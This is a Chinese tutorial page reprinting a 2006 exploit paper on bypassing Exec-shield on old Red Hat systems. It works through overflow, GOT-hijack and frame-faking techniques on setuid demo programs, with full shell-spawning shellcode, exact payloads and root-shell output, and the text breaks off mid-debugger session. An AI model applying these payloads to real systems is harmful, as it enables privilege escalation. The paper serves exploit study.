当前位置:Linux教程 - Linux文化 - Bypass Exec-shield Under Redhat

Bypass Exec-shield Under Redhat


Bypass Exec-shield Under Redhat                                         (PST) ---------[ Subject   : Bypass  Exec-shield Under Redhat       ] ---------[ Author    : axis([email protected])                 ] ---------[ Copyright : www.ph4nt0m.org    www.secwiki.com     ] ---------[ Date      : 02/14/2006                             ] ---------[ Version   : 1.0                                    ] |=-----------------------------------------------------------------------------=| ---------[ Table of Contents ]   0x110 - execshield介绍   0x120 - 在execshield环境下的分析   0x130 - Attack!     0x131 - demo程序     0x132 - hijack GOT     0x133 - frame faking + return into libc   0x140 - Conclusion   0x150 - Reference |=-----------------------------------------------------------------------------=| ---------[ 0x110 - execshield介绍 ]   Redhat在Fedora Core 2以及Enterprise Linux 3 Update 3加入了exec-shield的内核补丁。该补丁的官方地址为http://redhat.com/~mingo/exec-shield/   Execshield的目的是最大程度的防止溢出,所以他将内存中尽可能多的地方标记为不可执行的。同时他还保留了函数的返回地址,这样如果覆盖了EIP后,将探测到返回地址改变,将会出错。具体exec-shield做了什么,以及是如何实现的,请参考官方文档   http://people.redhat.com/mingo/e ... 06US_Execshield.pdf   http://people.redhat.com/mingo/exec-shield/docs/nonselsec.pdf 由于execshield的汗马功劳,传统的buffer overflow已经彻底失效了,因为他把shellcode放在stack中执行,而stack是不可执行的。 return into libc的方法为我们提供了一定思路,但execshield把函数的地址变成了类似 (gdb) p printf $1 = {<text variable, no debug info>} 0x61db70 <printf> 也就是0x0061db70,而像strcpy这类函数,一遇到0字节就判断为终止,大大增加了难度 同时,因为栈不可执行,所以直接覆盖EIP为函数地址的方法也失效了。 如果利用frame faking,则可以在函数返回前跳转到另外一个地方去执行,但由于execshield禁止了内存中大多数地址的执行权限,所以.bss不行,heap也不行,stack当然更不行,那么如何找到这个合适的地方就成为了难点。同时还不能让函数返回,因为一返回就会被execshield检测到返回地址改变,会出错。   下面我将演示我是如何绕过execshield的。本文采用的平台是Redhat Fedora Core 4以及Redhat Enterprise Linux AS 4 Update 2    [root@Security-37 kernel]# cat /etc/issue.net Red Hat Enterprise Linux AS release 4 (Nahant Update 2) Kernel \r on an \m [root@Security-37 kernel]# uname -a Linux Security-37 2.6.9-22.EL #1 Mon Sep 19 18:20:28 EDT 2005 i686 i686 i386 GNU/Linux [axis@axis explab]$ cat /etc/issue.net Fedora Core release 4 (Stentz) Kernel \r on an \m [axis@axis explab]$ uname -a Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux [axis@axis explab]$ ---------[ 0x120 - 在execshield环境下的分析 ] 首先我们看看execshield的开关 [axis@axis explab]$ cat /proc/sys/kernel/exec-shield 1 [axis@axis explab]$ cat /proc/sys/kernel/randomize_va_space 1 [axis@axis explab]$ VA space randomize是2.6.x内核的一项特性,它会让虚拟地址随机变化,从而大大增加溢出的难度。但该项特性不在本文的讨论范围。但由于在高版本内核上它默认是开启的,所以我们不关闭他,以增加我们挑战的难度。 下面先来看看execshield做了什么,以一个简单的程序举例 [axis@axis explab]$ cat bof3.c #include<stdio.h> int main(int argc,char *argv[]){ char a[256]; strcpy(a,argv[1]); printf("%s\n",a); return 0; } 我们看看程序运行时的内存中的情况 [axis@axis explab]$ gdb ./bof3 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483b9 (gdb) r AAAA Starting program: /home/axis/explab/bof3 AAAA Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0x511000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483b9 in main () (gdb) shell [axis@axis explab]$ su - Password: [root@axis ~]# ps -ef UID        PID  PPID  C STIME TTY          TIME CMD root         1     0  0 Feb08 ?        00:00:01 init [3]                              root         2     1  0 Feb08 ?        00:00:00 [ksoftirqd/0] root         3     1  0 Feb08 ?        00:00:00 [watchdog/0] root         4     1  0 Feb08 ?        00:00:00 [events/0] ...... ...... axis     20812 20811  0 16:05 pts/0    00:00:00 -bash axis     21858 20812  0 17:36 pts/0    00:00:00 gdb ./bof3 -q axis     21861 21858  0 17:36 pts/0    00:00:00 /home/axis/explab/bof3 AAAA axis     21864 21858  0 17:36 pts/0    00:00:00 bash root     21882 21864  0 17:36 pts/0    00:00:00 su - root     21885 21882  0 17:36 pts/0    00:00:00 -bash root     21911 21885  0 17:36 pts/0    00:00:00 ps -ef [root@axis ~]# cat /proc/21861/maps 00511000-00512000 r-xp 00511000 00:00 0 005b8000-005d2000 r-xp 00000000 03:09 2719787    /lib/ld-2.3.5.so 005d2000-005d3000 r-xp 00019000 03:09 2719787    /lib/ld-2.3.5.so 005d3000-005d4000 rwxp 0001a000 03:09 2719787    /lib/ld-2.3.5.so 005da000-006fe000 r-xp 00000000 03:09 2719788    /lib/libc-2.3.5.so 006fe000-00700000 r-xp 00124000 03:09 2719788    /lib/libc-2.3.5.so 00700000-00702000 rwxp 00126000 03:09 2719788    /lib/libc-2.3.5.so 00702000-00704000 rwxp 00702000 00:00 0 08048000-08049000 r-xp 00000000 03:06 472905     /home/axis/explab/bof3 08049000-0804a000 rw-p 00000000 03:06 472905     /home/axis/explab/bof3 b7fcb000-b7fcc000 rw-p b7fcb000 00:00 0 b7fe8000-b7fe9000 rw-p b7fe8000 00:00 0 bfed3000-bfee9000 rw-p bfed3000 00:00 0          [stack] [root@axis ~]# exit logout [axis@axis explab]$ exit exit (gdb) 我们可以看到,stack,也就是我们的栈是不可执行的。所以我们要让我们的shellcode在可以执行的,即带有x标记的内存空间中执行. ---------[ 0x130 - Attack! ]   绕过execshield的攻击是可能的,根据上面的结论,我们应该在内存低地址中执行我们的shellcode,但这里 00511000-00512000 r-xp 00511000 00:00 0 005b8000-005d2000 r-xp 00000000 03:09 2719787    /lib/ld-2.3.5.so 005d2000-005d3000 r-xp 00019000 03:09 2719787    /lib/ld-2.3.5.so 005d3000-005d4000 rwxp 0001a000 03:09 2719787    /lib/ld-2.3.5.so 005da000-006fe000 r-xp 00000000 03:09 2719788    /lib/libc-2.3.5.so 006fe000-00700000 r-xp 00124000 03:09 2719788    /lib/libc-2.3.5.so 00700000-00702000 rwxp 00126000 03:09 2719788    /lib/libc-2.3.5.so 00702000-00704000 rwxp 00702000 00:00 0 这些地址都是一些系统的自带的函数或参数的一些内容,很难控制为我们想要的内容。 那么我们先来看 08048000-08049000 r-xp 00000000 03:06 472905     /home/axis/explab/bof3 来证实一下我们的想法。 ---------[ 0x131 - demo程序 ] 我们在漏洞程序中定义一段shellcode,这样他就会写在.text段 [axis@axis explab]$ cat bof1.c #include<stdio.h> int main(int argc,char *argv[]){ char shellcode[]=         "\x6a\x46"              // push $0x46         "\x58"                  // pop %eax         "\x31\xdb"              // xor %ebx,%ebx         "\x31\xc9"              // xor %ecx,%ecx         "\xcd\x80"              // int $0x80         "\x99"                  // cltd         "\xb0\x0b"              // mov $0xb,%al         "\x52"                  // push %edx         "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f         "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f         "\x89\xe3"              // mov %esp,%ebx         "\x52"                  // push %edx         "\x53"                  // push %ebx         "\x89\xe1"              // mov %esp,%ecx         "\xcd\x80";             // int $0x80 char a[256]; strcpy(a,argv[1]); printf("%s\n",a); return 0; } [axis@axis explab]$ 加个s位 [root@axis ~]# chown root.root bof1 [root@axis ~]# chmod 4755 bof1 正常情况下,程序不会执行shellcode,因为他只是一个经过初始化的变量的值. 调试看看 [axis@axis explab]$ gdb ./bof1 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483b5 (gdb) r Starting program: /home/axis/explab/bof1 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483b5 in main () (gdb) x/20x 0x08048400 0x8048400 <main+80>:    0xd8858d0c      0x50fffffe      0xfffebfe8      0x10c483ff 0x8048410 <main+96>:    0x000000b8      0xf8658d00      0xc3c95f5e      0x57e58955 0x8048420 <__libc_csu_init+4>:  0xec835356      0x0000e80c      0x815b0000      0x00119ac3 0x8048430 <__libc_csu_init+20>: 0xfe6ee800      0x838dffff      0xffffff20      0xff20938d 0x8048440 <__libc_csu_init+36>: 0xd029ffff      0x8902f8c1      0x0875f045      0x5b0cc483 (gdb) 0x8048450 <__libc_csu_init+52>: 0xc3c95f5e      0xd689ff31      0x834716ff      0x7d3b04c6 0x8048460 <__libc_csu_init+68>: 0x83f572f0      0x5e5b0cc4      0x90c3c95f      0xc9e58955 0x8048470 <__libc_csu_fini+4>:  0x909090c3      0x53e58955      0x94e4a152      0xf8830804 0x8048480 <__do_global_ctors_aux+12>:   0xbb1274ff      0x080494e4      0x438bd0ff      0x04eb83fc 0x8048490 <__do_global_ctors_aux+28>:   0x75fff883      0xc95b58f3      0x909090c3      0x53e58955 (gdb) 0x80484a0 <_fini+4>:    0x0000e850      0x815b0000      0x00111ec3      0xfea2e800 0x80484b0 <_fini+20>:   0x5b58ffff      0x0000c3c9      0x00000003      0x00020001 0x80484c0 <_IO_stdin_used+4>:   0x3158466a      0xcdc931db      0x0bb09980      0x2f2f6852    0x80484d0 <_IO_stdin_used+20>:  0x2f686873      0x896e6962      0x895352e3      0x0080cde1 0x80484e0 <__FRAME_END__>:      0x00000000      0xffffffff      0x00000000      0xffffffff (gdb) 注意这里 0x80484c0 <_IO_stdin_used+4>:   0x3158466a      0xcdc931db      0x0bb09980      0x2f2f6852 0x80484d0 <_IO_stdin_used+20>:  0x2f686873      0x896e6962      0x895352e3      0x0080cde1 我们的shellcode就是在这里了! (gdb) x/8x 0x080484c0   =========>存放shellcode的地址 0x80484c0 <_IO_stdin_used+4>:   0x3158466a      0xcdc931db      0x0bb09980      0x2f2f6852 0x80484d0 <_IO_stdin_used+20>:  0x2f686873      0x896e6962      0x895352e3      0x0080cde1 反汇编下main,看下buffer多大 (gdb) disass main Dump of assembler code for function main: 0x080483b0 <main+0>:    push   %ebp 0x080483b1 <main+1>:    mov    %esp,%ebp 0x080483b3 <main+3>:    push   %edi 0x080483b4 <main+4>:    push   %esi 0x080483b5 <main+5>:    sub    $0x120,%esp     ==================>这里 0x080483bb <main+11>:   and    $0xfffffff0,%esp 0x080483be <main+14>:   mov    $0x0,%eax 0x080483c3 <main+19>:   add    $0xf,%eax 0x080483c6 <main+22>:   add    $0xf,%eax 0x080483c9 <main+25>:   shr    $0x4,%eax 0x080483cc <main+28>:   shl    $0x4,%eax 0x080483cf <main+31>:   sub    %eax,%esp 0x080483d1 <main+33>:   lea    0xffffffd8(%ebp),%edi 0x080483d4 <main+36>:   mov    $0x80484c0,%esi 0x080483d9 <main+41>:   cld    0x080483da <main+42>:   mov    $0x8,%eax 0x080483df <main+47>:   mov    %eax,%ecx 0x080483e1 <main+49>:   repz movsl %ds%esi),%es%edi) 0x080483e3 <main+51>:   mov    0xc(%ebp),%eax 0x080483e6 <main+54>:   add    $0x4,%eax 0x080483e9 <main+57>:   mov    (%eax),%eax 0x080483eb <main+59>:   sub    $0x8,%esp 0x080483ee <main+62>:   push   %eax 0x080483ef <main+63>:   lea    0xfffffed8(%ebp),%eax 0x080483f5 <main+69>:   push   %eax 0x080483f6 <main+70>:   call   0x80482fc <__gmon_start__@plt+16> 0x080483fb <main+75>:   add    $0x10,%esp 0x080483fe <main+78>:   sub    $0xc,%esp 0x08048401 <main+81>:   lea    0xfffffed8(%ebp),%eax 0x08048407 <main+87>:   push   %eax 0x08048408 <main+88>:   call   0x80482cc 0x0804840d <main+93>:   add    $0x10,%esp 0x08048410 <main+96>:   mov    $0x0,%eax 0x08048415 <main+101>:  lea    0xfffffff8(%ebp),%esp 0x08048418 <main+104>:  pop    %esi 0x08048419 <main+105>:  pop    %edi 0x0804841a <main+106>:  leave   0x0804841b <main+107>:  ret    End of assembler dump. (gdb) 注意这里 0x080483b5 <main+5>:    sub    $0x120,%esp 十六进制120转换为十进制就是288,再加12的dummy data 最后通过调试得到我们的需要300个字节来覆盖ebp,然后再4个字节覆盖eip [axis@axis explab]$ gdb ./bof1 -q   (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r "`perl -e 'print "A"x300,"\x44\x84\x04\x01"'`" Starting program: /home/axis/explab/bof1 "`perl -e 'print "A"x300,"\x44\x84\x04\x01"'`" (no debugging symbols found) (no debugging symbols found) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD Program received signal SIGSEGV, Segmentation fault. 0x01048444 in ?? () (gdb) i reg $ebp $esp $eip ebp            0x41414141       0x41414141 esp            0xbfc98ac0       0xbfc98ac0 eip            0x1048444        0x1048444 (gdb) 看,如我上面所说的,正好覆盖了eip。注意这里0x01048444是内存低址,在“可执行界限”内,execshield才会接受,如果是一个内存高址,就会自动被execshield还原为原函数的ret地址 我们再看用不符合execshield规则的地址来覆盖EIP的情况 (gdb) r "`perl -e 'print "A"x304'`"                   The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/bof1 "`perl -e 'print "A"x304'`" (no debugging symbols found) (no debugging symbols found) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x0804841b in main () (gdb) 这里 0x0804841b <main+107>:  ret 就是main函数的返回地址了! 所以要击败execshield,就必须要巧妙的设计一个被execshield所接受的地址才行 我们刚才看到的存放shellcode的地址,0x080484c0就是一个被接受的地址 整理下思路 我们把shellcode写在这个demo程序里的.text section 存放shellcode的地址为0x080484c0,这个地址是不变的 我们需要用300个字节来覆盖ebp,再多4个字节覆盖eip,覆盖eip的地址必须是execshield所接受的地址 那么我们构造的payload就和传统的payload一样了    ++++++++++++++++++++++++++++++++++++++    | dummy data | 4 bytes overwrite EIP |    ++++++++++++++++++++++++++++++++++++++ 我们看看 [axis@axis explab]$ ./bof1 "`perl -e 'print "A"x300,"\xc0\x84\x04\x08"'`" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA sh-3.00# id uid=0(root) gid=500(axis) groups=500(axis) context=user_u:system_r:unconfined_t sh-3.00# cat /etc/issue Fedora Core release 4 (Stentz) Kernel \r on an \m sh-3.00# uname -a Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00# 看,shellcode成功执行了,拿到root了! 根据这个demo程序,我们绕过execshield的思路就有了,那就是:到execshield管不到的地方去执行 下面我们看看另外一种方法. ---------[ 0x132 - hijack GOT ]   上面的demo程序只是一个例子,在实际应用中,我们几乎不可能有机会去控制.text的内容,所以我们必须寻找其他更加通用的方法。   c0ntex在他的paper How to hijack the Global Offset Table with pointers for root shells   提出了一种覆盖GOT的方法.   这种方法是通过覆盖GOT来达到return into libc的目的,同时也绕过了execshield。      GOT(全局变量偏移表)的概念我不再赘述,我们直入正题.   这里我们直接看看c0ntex的例子程序,简单介绍下这种方法,具体方法请参考c0ntex的文章    [axis@Security-37 hijackGOT]$ cat got.c #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) {         char *pointer = NULL;         char array[10];         pointer = array;         strcpy(pointer, argv[1]);         printf("Array contains %s at %p\n", pointer, &pointer);         strcpy(pointer, argv[2]);         printf("Array contains %s at %p\n", pointer, &pointer);         return EXIT_SUCCESS; } [axis@Security-37 hijackGOT]$ ls got -l -rwsr-xr-x  1 root root 4911 Feb 14 02:06 got        ======》加了s位 [axis@Security-37 hijackGOT]$ 这里两次调用了strcpy和printf 我们将让第一个printf正常返回,而在第二个strcpy后,我们将覆盖GOT中printf的地址为system的地址,从而让第二个printf变成了 printf("Array contains %s at %p\n", pointer, &pointer); ====》      system("Array contains %s at %p\n", pointer, &pointer); 先看看一般情况的执行情况 [axis@Security-37 hijackGOT]$ gdb ./got -q (no debugging symbols found) Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b strcpy             ======》下断点 Function "strcpy" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (strcpy) pending. (gdb) b printf             ======》下断点 Function "printf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (printf) pending. (gdb) b system             ======》下断点 Function "system" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 3 (system) pending. (gdb) r AAAA BBBB          ======》先随便执行下,让程序正常返回 The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/hijackGOT/got AAAA BBBB (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) p system             ======》 system的入口地址在0x008b05b0 $2 = {<text variable, no debug info>} 0x8b05b0 <system> (gdb) x/8x 0x0804960c      ======》 GOT表的内容 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x080482de      0x008e4930      0x00000000      0x00000000 (gdb) x/i 0x0086eb10 0x86eb10 <_dl_runtime_resolve>: push   %eax (gdb) x/i 0x00890d50 0x890d50 <__libc_start_main>:   push   %ebp (gdb) x/i 0x080482de 0x80482de:      push   $0x8 (gdb) x/i 0x008e4930      ======》GOT表中的strcpy,这里是strcpy的入口地址 0x8e4930 <strcpy>:      push   %ebp (gdb) c Continuing. Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x008be420      0x008e4930      0x00000000      0x00000000 (gdb) x/i 0x008be420      ======》 因为要调用printf了,所以把printf的入口地址写入GOT 0x8be420 <printf>:      push   %ebp (gdb) c Continuing. Array contains AAAA at 0xbfe5105c Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c    ======》第二次strcpy之前GOT的内容 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x008be420      0x008e4930      0x00000000      0x00000000 (gdb) c Continuing. Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c    第二次printf之前的GOT内容 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x008be420      0x008e4930      0x00000000      0x00000000 (gdb) c Continuing. Array contains BBBB at 0xbfe5105c     =======》程序正常返回了 Program exited normally. (gdb) GOT的地址这样得到 [axis@Security-37 hijackGOT]$ objdump -h ./got |grep .got ./got:     file format elf32-i386 19 .got          00000004  08049608  08049608  00000608  2**2 20 .got.plt      00000018  0804960c  0804960c  0000060c  2**2 [axis@Security-37 hijackGOT]$ 所以我们直接去查看0x0804960c 就是我们的GOT的内容了 从上面的调试可以看到,整个程序的流程非常清楚了,接下来我们尝试覆盖GOT中的printf的地址 经调试,需要28字节覆盖EBP,再多4字节覆盖EIP 因为要覆盖的是printf的返回地址,那么在GOT表中对应的就应该是0x0804961c 那么我们如下构造 (gdb) r  "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" 这里argv[1]是28个A覆盖EBP,然后指向GOT中的printf的地址,这时候第一个strcpy和printf都可以正常返回 然后执行第二个strcpy,把argv[2]的内容,也就是system的入口地址(我们前面得到过的)copy到0x0804961c,也就覆盖了GOT中printf地址,这样当再执行下去的时候,本来的 printf("Array contains %s at %p\n", pointer, &pointer); 就变成了 system("Array contains %s at %p\n", pointer, &pointer); [axis@Security-37 hijackGOT]$ gdb ./got -q (no debugging symbols found) Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b strcpy Function "strcpy" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (strcpy) pending. (gdb) b printf Function "printf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (printf) pending. (gdb) b system Function "system" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 3 (system) pending. (gdb) r  "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" Starting program: /home/axis/explab/hijackGOT/got "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" (no debugging symbols found) (no debugging symbols found) Breakpoint 4 at 0x8e4933 Pending breakpoint "strcpy" resolved Breakpoint 5 at 0x8be423 Pending breakpoint "printf" resolved Breakpoint 6 at 0x8b05b0 Pending breakpoint "system" resolved Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c               ======》先看看GOT的内容 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x080482de      0x008e4930      0x00000000      0x00000000 (gdb) c Continuing. Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c               ======》printf地址被调用进来了 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x008be420      0x008e4930      0x00000000      0x00000000 (gdb) c Continuing. Array contains  鋴 at 0xbfff8d9c Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c               ======》第二个strcpy执行前 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x008be420      0x008e4930      0x00000000      0x00000000 (gdb) c Continuing. Breakpoint 6, 0x008b05b0 in system () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c               ======》strcpy执行后,原来应该是printf地址的地方变成system的地址了,成功了! 0x804960c <_GLOBAL_OFFSET_TABLE_>:      0x08049540      0x008794f8      0x0086eb10      0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>:   0x008b05b0      0x008e4930      0x00000000      0x00000000 (gdb) c Continuing. Detaching after fork from child process 10314. sh: Array: command not found        ======》system函数正确执行了! Program exited normally. (gdb) 这里我们看到执行system的结果是command not found 这是因为我们是执行 system("Array contains %s at %p\n", pointer, &pointer); 系统当然没有Array这个程序,那么我们写一个 [axis@Security-37 hijackGOT]$ cat Array.c #include<unistd.h> int main(int argc,char *argv[]){ setreuid(geteuid(),geteuid()); setregid(getegid(),getegid()); execl("/bin/sh","sh",0); return 0; } [axis@Security-37 hijackGOT]$ gcc -o Array Array.c [axis@Security-37 hijackGOT]$ 因为系统默认路径里没有Array,所以我们还要把当前路径加到系统路径里 [axis@Security-37 hijackGOT]$ cat ex_got.sh      #!/bin/sh export PATH=:.PATH ./got "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" #payload is |DUMMY| GOT addr|---|SYSTEM | [axis@Security-37 hijackGOT]$ [axis@Security-37 hijackGOT]$ ./ex_got.sh Array contains  鋴 at 0xbff6f95c sh-3.00$ id uid=500(axis) gid=501(axis) groups=501(axis) sh-3.00$ uname -a Linux Security-37 2.6.9-22.EL #1 Mon Sep 19 18:20:28 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00$ cat /etc/issue.net Red Hat Enterprise Linux AS release 4 (Nahant Update 2) Kernel \r on an \m sh-3.00$ 执行成功了!得到了shell 但却不是root,而我们的漏洞程序是加了s位的,为什么呢?这是因为我们执行system函数的时候,它放弃了特权。 ---------[ 0x133 - frame faking + return into libc ]   上面hijack GOT的方法只适用于覆盖指针的情况,如果没有定义指针呢?   接下来将演示利用frame faking和return into libc的技术,来获取控制权的例子   关于frame faking技术的详细讨论请参考我的另外一篇文章《Advanced Exploit Technique之--frame faking技术》   这里只简单提一下   我们利用fake frame,构造一个伪造的栈桢,然后利用以下的payload,将程序的流程跳转到我们指定的栈桢去执行   +++++++++++++++++++++++++++++++++   | dummy | fake ebp addr | leave |   +++++++++++++++++++++++++++++++++   其中,dummy是我们覆盖buffer用的垃圾数据,fake EBP addr用来覆盖EBP,同时也是我们伪造的栈桢的EBP地址,leave是leave指令的地址,用来覆盖EIP,如果EIP本来就要执行leave指令,那么也可以不覆盖,那么就只需要覆盖到EBP就结束了。   leave返回后,程序将跳转到fake frame去执行,新的EBP地址为fake EBP addr,新的EIP为 fake EBP addr+4   利用该技术,我们可以在任意可写的地方构造fake frame,从而控制程序流程.   回到本文主题上来,我的思路是,寻找一个“有用”的函数,然后执行它,当然,这个“有用”的函数也可以由自己来构造,写在内存中的某处   看看我们的目标 [axis@axis explab]$ cat bof2.c #include<stdio.h> int main(int argc,char *argv[]){ char a[256]; strcpy(a,argv[1]); system("BBBB" printf("%s\n",a); return 0; } [axis@axis explab]$ 我们的程序包含一个“有用”的system函数 [axis@axis explab]$ ls -l bof2 -rwsr-xr-x  1 root root 4906  2 14 16:11 bof2 加了s位 [axis@axis explab]$ ./bof2 AAAA sh: BBBB: command not found AAAA [axis@axis explab]$ 我们将通过溢出来改变system执行的内容 根据我们上面的payload,我们来看看leave指令在哪里 [axis@axis explab]$ gdb ./bof2 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x080483e4 <main+0>:    push   %ebp 0x080483e5 <main+1>:    mov    %esp,%ebp 0x080483e7 <main+3>:    sub    $0x108,%esp 0x080483ed <main+9>:    and    $0xfffffff0,%esp 0x080483f0 <main+12>:   mov    $0x0,%eax 0x080483f5 <main+17>:   add    $0xf,%eax 0x080483f8 <main+20>:   add    $0xf,%eax 0x080483fb <main+23>:   shr    $0x4,%eax 0x080483fe <main+26>:   shl    $0x4,%eax 0x08048401 <main+29>:   sub    %eax,%esp 0x08048403 <main+31>:   mov    0xc(%ebp),%eax 0x08048406 <main+34>:   add    $0x4,%eax 0x08048409 <main+37>:   mov    (%eax),%eax 0x0804840b <main+39>:   sub    $0x8,%esp 0x0804840e <main+42>:   push   %eax 0x0804840f <main+43>:   lea    0xffffff00(%ebp),%eax 0x08048415 <main+49>:   push   %eax 0x08048416 <main+50>:   call   0x8048330 <__gmon_start__@plt+16> 0x0804841b <main+55>:   add    $0x10,%esp 0x0804841e <main+58>:   sub    $0xc,%esp 0x08048421 <main+61>:   push   $0x80484ec 0x08048426 <main+66>:   call   0x80482f0 0x0804842b <main+71>:   add    $0x10,%esp 0x0804842e <main+74>:   sub    $0xc,%esp 0x08048431 <main+77>:   lea    0xffffff00(%ebp),%eax 0x08048437 <main+83>:   push   %eax 0x08048438 <main+84>:   call   0x8048300 0x0804843d <main+89>:   add    $0x10,%esp 0x08048440 <main+92>:   mov    $0x0,%eax 0x08048445 <main+97>:   leave           ======》这里 0x08048446 <main+98>:   ret    0x08048447 <main+99>:   nop    End of assembler dump. (gdb) 返汇编main,发现leave在0x08048445 而我们的system函数的入口地址肯定会在GOT中有,那么我们就直接利用好了! (gdb) b strcpy Function "strcpy" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (strcpy) pending. (gdb) b system Function "system" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (system) pending. (gdb) b printf Function "printf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 3 (printf) pending. (gdb) r AAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/bof2 AAAA (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6 (gdb) p system            ======》system的入口地址 $1 = {<text variable, no debug info>} 0x60f3df <system> (gdb) x/8x 0x080495d8     ======》看看GOT中的内容 0x80495d8 <_GLOBAL_OFFSET_TABLE_>:      0x0804950c      0x005d36d0      0x005cad20      0x080482f6 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048306      